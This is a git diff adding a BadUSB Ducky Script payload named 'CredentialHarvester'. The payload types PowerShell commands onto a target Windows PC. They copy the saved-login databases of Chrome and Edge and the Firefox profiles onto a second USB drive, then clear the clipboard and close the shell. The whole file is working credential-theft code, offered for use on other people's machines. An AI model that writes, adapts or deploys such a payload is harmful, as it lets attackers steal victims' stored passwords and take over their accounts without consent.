diff --git a/BadUSB/BadUSB-MarkCyber/HackStuff/CredentialHarvester.txt b/BadUSB/BadUSB-MarkCyber/HackStuff/CredentialHarvester.txt
new file mode 100644
index 00000000..809d3759
--- /dev/null
+++ b/BadUSB/BadUSB-MarkCyber/HackStuff/CredentialHarvester.txt
@@ -0,0 +1,53 @@
+REM ##################################################################################################################
+REM ##############                 This script was created by github.com/markcyber                      ##############
+REM ##############      This script requires a secondary USB named "MYUSB" to save credentials to       ##############
+REM ##############                    The extracted data will require decryption                        ##############
+REM ##################################################################################################################
+REM Open PowerShell with elevated privileges
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell
+DELAY 500
+ENTER
+DELAY 1000
+REM Check if the USB drive exists
+STRING $usbDrive = Get-WmiObject Win32_Volume | ? { $_.Label -eq 'MYUSB' } | Select -ExpandProperty DriveLetter;
+STRING if ($usbDrive -ne $null) {
+ENTER
+DELAY 500
+STRING cd $usbDrive;
+ENTER
+DELAY 500
+STRING mkdir BrowserData;
+ENTER
+DELAY 500
+STRING cd BrowserData;
+ENTER
+DELAY 500
+REM Copy Chrome Login Data to USB
+STRING $chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data";
+STRING if (Test-Path $chromePath) { Copy-Item $chromePath "$usbDrive\BrowserData\ChromeLoginData"; }
+ENTER
+DELAY 500
+REM Copy Firefox Login Data to USB
+STRING $firefoxPath = "$env:APPDATA\Mozilla\Firefox\Profiles\";
+STRING if (Test-Path $firefoxPath) { Copy-Item $firefoxPath -Recurse "$usbDrive\BrowserData\FirefoxData"; }
+ENTER
+DELAY 500
+REM Copy Edge Login Data to USB
+STRING $edgePath = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data";
+STRING if (Test-Path $edgePath) { Copy-Item $edgePath "$usbDrive\BrowserData\EdgeLoginData"; }
+ENTER
+DELAY 500
+STRING }
+ENTER
+DELAY 500
+REM Clear the clipboard to remove any sensitive data (This is not necessary, unless you did something on target PC)
+STRING echo off | clip
+ENTER
+DELAY 500
+REM Close PowerShell
+STRING exit
+ENTER
+DELAY 500